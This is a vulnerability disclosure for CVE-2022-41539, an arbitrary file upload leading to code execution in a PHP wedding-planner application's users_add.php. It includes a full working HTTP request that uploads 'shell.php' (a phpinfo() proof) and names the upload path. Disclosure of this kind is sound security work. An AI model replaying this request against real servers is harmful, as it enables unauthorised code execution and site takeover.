CVE-2022-41539: bug_report/RCE-2.md at main · gougou123-hash/bug_report

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Wedding Planner v1.0 by pushpam02 has arbitrary code execution (RCE)

BUG_Author: Li4u

vendor: https://www.sourcecodester.com/php/15375/wedding-planner-project-php-free-download.html

Vulnerability url: http://ip/Wedding-Management-PHP/admin/users_add.php

Loophole location: The Add New User function of “User Management” module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of “users_add.php” file.

Click “Edit My Account” to save

Request package for file upload：

POST /Wedding-Management-PHP/admin/users_add.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.19/Wedding-Management-PHP/admin/users_add.php Cookie: PHPSESSID=ncd6h7doujvbbft46r0m7mbr6s Connection: close Content-Type: multipart/form-data; boundary=---------------------------306421971929630 Content-Length: 1236 -----------------------------306421971929630 Content-Disposition: form-data; name="submit" -----------------------------306421971929630 Content-Disposition: form-data; name="firstname" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="lastname" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="email" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="username" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="password" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="password2" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="gender" m -----------------------------306421971929630 Content-Disposition: form-data; name="address" 1 -----------------------------306421971929630 Content-Disposition: form-data; name="designation" 0 -----------------------------306421971929630 Content-Disposition: form-data; name="profile_picture"; filename="shell.php" Content-Type: application/octet-stream JFJF <?php phpinfo();?> -----------------------------306421971929630–

The files will be uploaded to this directory \Wedding-Management-PHP\admin\upload\users

We visited the directory of the file in the browser and found that the code had been executed